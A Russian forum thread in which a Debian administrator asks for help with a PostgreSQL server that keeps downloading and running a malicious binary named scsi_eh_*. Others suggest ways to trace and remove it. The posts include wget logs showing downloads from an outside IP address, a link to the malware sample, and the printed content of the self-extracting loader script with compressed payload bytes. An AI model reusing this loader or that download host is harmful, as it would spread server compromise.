Postgresql скачивает и запускает файл /tmp/scsi_eh_512? Кто-нибудь сталкивался с этим процессом? Что он делает?
Вот кусок лога postgresql:
Connecting to 104.223.72.208:5432... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1049 (1.0K) [application/octet-stream]
Saving to: ‘/tmp/Loader.sh’
0K . 100% 108M=0s
2016-05-17 05:58:47 (108 MB/s) - ‘/tmp/Loader.sh’ saved [1049/1049]
scsi_eh_128: no process found
scsi_eh_128: no process found
scsi_eh_256: no process found
scsi_eh_256: no process found
scsi_eh_256: no process found
scsi_eh_512: no process found
scsi_eh_512: no process found
--2016-05-17 05:58:47-- http://104.223.72.208:5432/scsi_eh_512
Connecting to 104.223.72.208:5432... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1334372 (1.3M) [application/octet-stream]
Saving to: ‘/tmp/scsi_eh_512’
0K .......... .......... .......... .......... .......... 3% 79.6K 16s
50K .......... .......... .......... .......... .......... 7% 158K 11s
100K .......... .......... .......... .......... .......... 11% 159K 10s
150K .......... .......... .......... .......... .......... 15% 312K 8s
200K .......... .......... .......... .......... .......... 19% 144K 7s
250K .......... .......... .......... .......... .......... 23% 486K 6s
300K .......... .......... .......... .......... .......... 26% 201K 6s
350K .......... .......... .......... .......... .......... 30% 474K 5s
400K .......... .......... .......... .......... .......... 34% 211K 5s
450K .......... .......... .......... .......... .......... 38% 483K 4s
500K .......... .......... .......... .......... .......... 42% 143K 4s
550K .......... .......... .......... .......... .......... 46% 496K 4s
600K .......... .......... .......... .......... .......... 49% 324K 3s
650K .......... .......... .......... .......... .......... 53% 517K 3s
700K .......... .......... .......... .......... .......... 57% 248K 3s
750K .......... .......... .......... .......... .......... 61% 502K 2s
800K .......... .......... .......... .......... .......... 65% 995K 2s
850K .......... .......... .......... .......... .......... 69% 1.01M 2s
900K .......... .......... .......... .......... .......... 72% 888K 1s
950K .......... .......... .......... .......... .......... 76% 562K 1s
1000K .......... .......... .......... .......... .......... 80% 994K 1s
1050K .......... .......... .......... .......... .......... 84% 499K 1s
1100K .......... .......... .......... .......... .......... 88% 983K 1s
1150K .......... .......... .......... .......... .......... 92% 956K 0s
1200K .......... .......... .......... .......... .......... 95% 512K 0s
1250K .......... .......... .......... .......... .......... 99% 948K 0s
1300K ... 100% 8.04M=4.2s
2016-05-17 05:58:51 (309 KB/s) - ‘/tmp/scsi_eh_512’ saved [1334372/1334372]
Это нештатное поведение.
Это нештатное поведение. Очень похоже на то, что вам кто-то закладку внедрил.
Если это не так, то какая-то безумная доработка видимо в вашем дистрибутиве.
Нештатное поведение
А как это можно проверить или исправить? В syslog ничего нет, только в логах postgresql, также пробовал останавливать процесс и удалять файл, но через некоторое хаотическое время(около суток обычно), файл скачивается и запускается опять под пользователем postgres. Единственное что помогло это создать пустой файл с таким же названием под пользователем root, и теперь в логах просто периодичски ругается что нет прав на создание и изменение прав файла и все.....
Надо понять, что у вас этот
Надо понять, что у вас этот самый файл скачивает и пытается выполнить.
Если это происходит однократно при старте - смотрите скрипты запуска PostgreSQL. Если это происходит само регулярно во время уже работающего PostgreSQL, то для начала надо бы посмотреть crontab для пользователя от которого запускается PostgreSQL и также задания at для него же. Если ничего не найдётся, то советую заменить wget (которым видимо у вас производится скачивание) на самописный скрипт, в котором вывести printenv в файл, а кроме того подвесить его в sleep минут на 10 и когда снова всё запустится, через pstree посмотреть процесс-родитель
Вот что получил от printenv
LC_MONETARY=C
PG_GRANDPARENT_PID=20930
LC_NUMERIC=C
LC_MESSAGES=ru_RU.UTF-8
LC_COLLATE=ru_RU.UTF-8
PWD=/var/lib/postgresql/9.4/main
PGLOCALEDIR=/usr/share/locale
LANG=ru_RU.UTF-8
PGSYSCONFDIR=/etc/postgresql-common
SHLVL=1
LC_CTYPE=ru_RU.UTF-8
PGDATA=/var/lib/postgresql/9.4/main
LC_TIME=C
_=/usr/bin/printenv
Что самое интересное через неделю прекрасного полета, postgres создал файл scsi_eh_56 и снова начал перегружать проц... Что еще можно посмотреть?
P.S. crontab и at проверял, там ничего нету. Это все происходит во время работающего postgresql, я его редко перезапускаю.....
Для начала посмотрите что у
Для начала посмотрите что у вас в /var/lib/postgresql/9.4/main лежит.
У меня такого каталога например вообще нет, но у меня CentOS, а у вас очевидно что-то другое.
Кстати, а что в самом файле-то, который scsi_eh_56? Он же у вас скачивается я так понимаю и можно его гянуть
Процесс scsi_eh_512
В папке лежат файлы postgresql
base get.sh pg_clog pg_logical pg_notify pg_serial pg_stat pg_subtrans pg_twophase pg_xlog postmaster.opts
Config.ini global pg_dynshmem pg_multixact pg_replslot pg_snapshots pg_stat_tmp pg_tblspc PG_VERSION postgresql.auto.conf postmaster.pid
Система Debian Jessie стоит.
Файл scsi_eh_56 является исполняемым и по факту там всякие кракозябры.
Вот собственно сам файл - http://my-files.ru/Save/ow06i7/scsi_eh_512.tar.gz
Вообщем данный файл внесли в список вирусов - https://www.virustotal.com/en/file/f5f276c58bdcb3f029ddf706557f180b959f7...
Но как с ним бороться пока не понятно.....
То, что файл вредоносный,
То, что файл вредоносный, было понятно с самого начала. Сейчас надо понять какой скрипт запускает его выкачивание и запуск.
По той методике, что я вам писал (где sleep) не удалось понять какой процесс является родительским для него?
родительский процесс init-+-acpid
родительский процесс init-+-acpid -
acpid -c /etc/acpi/events -s /var/run/acpid.socket
Есть подозрения что вирус появляется через пару дней после перезагрузки сервера(так было последние два раза), т.е. если его убить и не перезагружаться то он не появлялся почти месяц.....
Так же вирус создает этот файл - /tmp/Loader.sh, вот его содержимое:
#!/bin/sh
skip=44
tab=' '
nl='
'
IFS=" $tab$nl"
umask=`umask`
umask 77
gztmpdir=
trap 'res=$?
test -n "$gztmpdir" && rm -fr "$gztmpdir"
(exit $res); exit $res
' 0 1 2 3 5 10 13 15
if type mktemp >/dev/null 2>&1; then
gztmpdir=`mktemp -dt`
else
gztmpdir=/tmp/gztmp$$; mkdir $gztmpdir
fi || { (exit 127); exit 127; }
gztmp=$gztmpdir/$0
case $0 in
-* | */*'
') mkdir -p "$gztmp" && rm -r "$gztmp";;
*/*) gztmp=$gztmpdir/`basename "$0"`;;
esac || { (exit 127); exit 127; }
case `echo X | tail -n +1 2>/dev/null` in
tail_n=-n;;
*) tail_n=;;
esac
if tail $tail_n +$skip <"$0" | gzip -cd > "$gztmp"; then
umask $umask
chmod 700 "$gztmp"
(sleep 5; rm -fr "$gztmpdir") 2>/dev/null &
"$gztmp" ${1+"$@"}; res=$?
else
echo >&2 "Cannot decompress $0"
(exit 127); res=127
fi; exit $res
^_<8b>^H^H7^NxW^B^CLoader.sh^@µ<93>KNÃ0^P<86>÷9Å $^VHñ$Î<8b>vÁ^AØ<80>¸@<95><87>CÜ8v<95>8¥ÇÇ
^BM<84>^W Ð<85>^Wóͯo4<96>}{<83><95>Ô8uA/<95>*<95><82>p^GS=É<83>è^N1^?Ø<8e>y<96>oÇYÌÿ^Açס <8f>¶ã¨<88>ø<9f>ù8@8¶<80>v8áWã>x^?^S^VÂ<97>O^L<9d>µ§=b<9c>el<97>2ÎÝIó}<9c>& R^W<84>ÏkÏ2 <9e>Gõ{<83>ñ^YºÁ4P^T<85>§÷<83>À#`#Ψg·ì^]]ûB<8b>¶¬EeLOÙSy.í±¢èè<90>#ô<92>^gÍÜ[^_úF<8e>+BCßz^Ró<8d>dÓúÛøêfe^^RĺÔ4P^[Ý2íCâ"mð^Aº}Hª®^C^@^@
> родительский процесс
> родительский процесс init-+-acpid -
> acpid -c /etc/acpi/events -s /var/run/acpid.socket
Точно не путаете? Тогда смотрите в какой пакет входит этот acpid и просто снесите его. ACPID нужен для управление питанием, что актуально лишь для ноутбуков, но не для серверов.
scsi_eh_0702
Да, возможно путаю. Вообщем вот вывод pstree, сейчас вирус называется scsi_eh_0702
init-+-acpid
|-atd
|-clamd---{clamd}
|-collectdmon---collectd---10*[{collectd}]
|-cron
|-dbus-daemon
|-fail2ban-server---2*[{fail2ban-server}]
|-freshclam
|-6*[getty]
|-irqbalance
|-java-+-java---23*[{java}]
| `-14*[{java}]
|-java---16*[{java}]
|-java---58*[{java}]
|-java-+-java-+-java---111*[{java}]
| | `-14*[{java}]
| |-java-+-java---106*[{java}]
| | `-14*[{java}]
| `-26*[{java}]
|-java---101*[{java}]
|-java---21*[{java}]
|-java---36*[{java}]
|-java---40*[{java}]
|-java---17*[{java}]
|-java---83*[{java}]
|-java---24*[{java}]
|-memcached---5*[{memcached}]
|-nginx---2*[nginx]
|-ntpd
|-postgres---26*[postgres]
|-redis-server---2*[{redis-server}]
|-rsyslogd---4*[{rsyslogd}]
|-scsi_eh_0702---pstree
судя по данному виду, у вас
судя по данному виду, у вас pstree запущен из под этого вируса.
Вы говорите, что связано с перезагрузкой сервера. А не связано ли СО ВХОДОМ на сервер? Т.е. зашли по ssh и оно началось?
...
pstree я добавил в код вируса, поэтому он и под ним. Со входом не связано, так как он и в 5 утра бывало запускался, когда никого на сервере не было, с перезагрузкой тоже как выяснилось. Так как ближайшую неделю не перезагружали, а он уже два раза появился.....
Получилось поймать его с помощью sleep. И теперь могу с уверенностью сказать что PPID у него 1 -
1 14185 postgres /bin/sh /tmp/scsi_eh_0702
т.е. запускает его /sbin/init.
Что это означает и что делать дальше?
Процесс получает родителем
Процесс получает родителем init'а не потому что тот его запускает, а потому что процесс в фон уходит.
Любой демон имеет родителем init'а (как правило), так что не init его запускает.
Но раз он запускается от пользователя postgres, то шерстите всю систему запуска PostgreSQL.
Может даже лучше сделать полный дамп в текстовом виде, поискать там это название (scsi_eh_512).
Если там его нет, снести всё нахрен и поставить PostgreSQL заново, а потом накатить дамп.
Проверьте нет ли у вас какой каки в /var/spool/cron/postgres
atq запустите от postgres. В общем копайте далее, что-то всё-равно можно выкопать, не верю я что нельзя.
у меня такая же беда
пока сделал килл -9, но ситуация напрягает